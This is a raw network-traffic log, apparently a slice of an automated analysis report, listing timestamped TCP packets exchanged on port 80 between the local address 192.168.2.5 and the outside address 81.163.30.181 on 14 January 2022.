Jan 14, 2022 21:05:47.889046907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889060974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.889086962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889123917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889138937 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.889163971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889202118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889215946 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.889242887 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889282942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889297962 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.889319897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889359951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889374018 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.889399052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889436960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889451027 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.889477968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889518023 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889533997 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.889559031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889600039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889619112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.889638901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889642000 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.889678955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889695883 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.889719009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889755011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889770985 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.889795065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889833927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889853001 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.889866114 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.889904976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889945030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889983892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.889987946 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.890022039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890026093 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.890062094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890100956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890115023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.890139103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890177011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890216112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890223980 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.890256882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890284061 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.890296936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890333891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890351057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.890374899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890414953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890429020 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.890453100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890491962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890510082 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.890532970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890573025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890589952 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.890613079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890652895 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890671968 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.890691996 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890732050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890749931 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.890769958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890810013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890824080 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.890847921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890887976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890898943 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.890928984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890966892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.890986919 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891005993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891046047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891061068 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891084909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891124010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891138077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891164064 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891205072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891213894 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891244888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891262054 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891283989 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891298056 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891323090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891330004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891362906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891388893 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891400099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891407967 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891443014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891448021 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891483068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891498089 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891525984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891535044 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891566992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891581059 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891604900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891618967 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891660929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891678095 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891701937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891707897 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891751051 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891755104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891797066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891798973 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891832113 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891843081 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891844034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891877890 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891901970 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891915083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891928911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891952038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.891969919 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.891988039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.892000914 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.892024994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.892040968 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.892070055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.892080069 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.892111063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.892141104 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.892148018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.892154932 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.892184973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.892214060 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.892235994 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.937580109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.937623024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.937663078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.937702894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.937705994 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.937786102 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.937796116 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.937800884 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.953428030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.953471899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.953511953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.953535080 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.953553915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.953571081 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.953594923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.953613997 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.953634977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.953665972 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.953675032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.953694105 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.953716040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.953749895 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.953757048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.953787088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.953799963 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.953819036 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.953840017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.953895092 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.953902006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.953905106 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.953946114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.953963995 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.953984976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954013109 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954025984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954054117 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954066992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954073906 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954106092 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954129934 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954144955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954184055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954194069 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954226971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954263926 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954272985 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954287052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954315901 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954324961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954340935 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954366922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954385042 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954406023 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954432964 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954443932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954461098 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954484940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954504967 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954526901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954535961 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954567909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954592943 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954608917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954608917 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954647064 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954663992 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954688072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954703093 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954729080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954740047 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954768896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954782963 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954807997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954823017 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954849005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954866886 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954889059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954900026 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954931021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954946041 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.954969883 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.954983950 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955010891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955027103 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955049992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955064058 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955086946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955112934 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955127001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955143929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955168009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955187082 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955208063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955223083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955249071 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955264091 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955286980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955300093 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955327034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955342054 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955368042 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955383062 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955404997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955418110 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955446005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955462933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955486059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955493927 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955527067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955543995 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955569983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955584049 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955610037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955627918 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955651045 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955658913 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955691099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955705881 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955730915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955744982 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955771923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955786943 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955811977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955821037 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955852032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955868006 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955892086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955907106 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955929995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955949068 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.955970049 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.955977917 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956010103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956027031 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956047058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956059933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956087112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956101894 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956126928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956134081 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956166029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956182003 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956207037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956222057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956245899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956259966 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956286907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956300974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956327915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956341982 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956367016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956381083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956408024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956423044 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956448078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956465960 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956489086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956505060 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956531048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956541061 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956569910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956584930 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956610918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956624985 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956650972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956660032 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956687927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956702948 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956727028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956743956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956768036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956782103 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956809044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956819057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956850052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956865072 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956888914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956902981 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956929922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956944942 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.956969976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.956984043 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957009077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957022905 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957048893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957065105 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957087040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957094908 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957128048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957143068 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957170010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957178116 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957207918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957222939 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957247972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957262993 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957288980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957307100 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957326889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957334995 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957365990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957381010 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957406998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957421064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957446098 CET	80	49882	81.163.30.181	192.168.2.5
